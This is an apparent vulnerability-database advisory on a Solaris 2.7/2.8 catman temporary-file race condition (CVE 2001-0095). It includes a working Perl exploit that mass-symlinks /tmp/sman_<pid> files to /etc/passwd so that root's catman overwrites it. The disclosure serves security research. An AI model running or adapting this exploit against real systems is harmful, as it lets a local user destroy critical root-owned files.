VDB-ID: 39
Title: Solaris 2.7/2.8 catman Temp File Vulnerability
Vulnerability Date: 2000-12-18
Download: www.oracle.com
Vendor: Oracle Systems
Notified: 2000-11-23
Vendor Contact: 
Description: Through the use of symlinking temporary files created by /usr/bin/catman upon execution by root a local user can clobber root owned files.
Vulnerability: The catman command creates preformatted versions of the online manual. It also creates the windex database for utilities like apropos and whatis. The problem lies with catman creating a temporary file in /tmp, the file has the form of /tmp/sman_pidofcatman. An attacker can monitor the process list for the execution of catman and create a symlink to a root owned file. catman will upon execution overwrite the contents of that file. This is a new bug for catman and is not addressed in the current patch cluster for Solaris 2.7 Sparc.
CVE-IDs: 2001-0095
Exploit: #!/usr/local/bin/perl -w 
# The problem is catman creates files in /tmp insecurly. They are based on the 
# PID of the catman process, catman will happily clobber any files that are 
# symlinked to that file. 
# The idea of this script is to create a block of symlinks to the target file # with the current PID as a starting point. Depending on what load your # system has this creates 1000 files in /tmp as sman_$currentpid + 1000. 
# The drawback is you would have to know around when root would be executing 
# catman. 
# A better solution would be to monitor for the catman process and create the 
# link before catman creates the file. I think this is a really small window 
# however. This worked on a patched Solaris 2.7 box (August 2000 patch # cluster) 
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 
# 11/21/2000 Vapid Labs. 
# http://vapid.dhs.org 
$clobber = "/etc/passwd"; 
#file to clobber $X=getpgrp(); 
$Xc=$X; 
#Constant 
$Y=$X+1000;
#Constant 
while($X < $Y) { 
print "Linking /tmp/sman_$X to $clobber :"; 
# Change $clobber to what you want to clobber. 
if (symlink ($clobber, "/tmp/sman_$X")) { 
print "Sucess\n"; 
} else 
{ 
print "failed, Busy system?\n";
} 
$X=$X+1; 
} 
#Watch /tmp and see if catman is executed in time. 
while(1) { 
$list = "/usr/bin/ls -l /tmp | grep sman|grep root |"; 
open (list,$list) or "die cant open ls...\n"; 
while() { 
@args = split "_",$_; 
chop ($args[1]); 
if ($args[1] >= $Xc && $args[1] <= $Y)
{ 
print "Looks like pid $args[1] is the winner\n cleaning....\n";
 `/usr/bin/rm -f /tmp/sman*`; 
exit(1); 
} 
} 
}
URL: http://www.vapid.dhs.org/advisories/solaris_2.7_2.8_catman_race_condition_vulnerability.html
Credit: Larry W. Cashdollar, @_larry0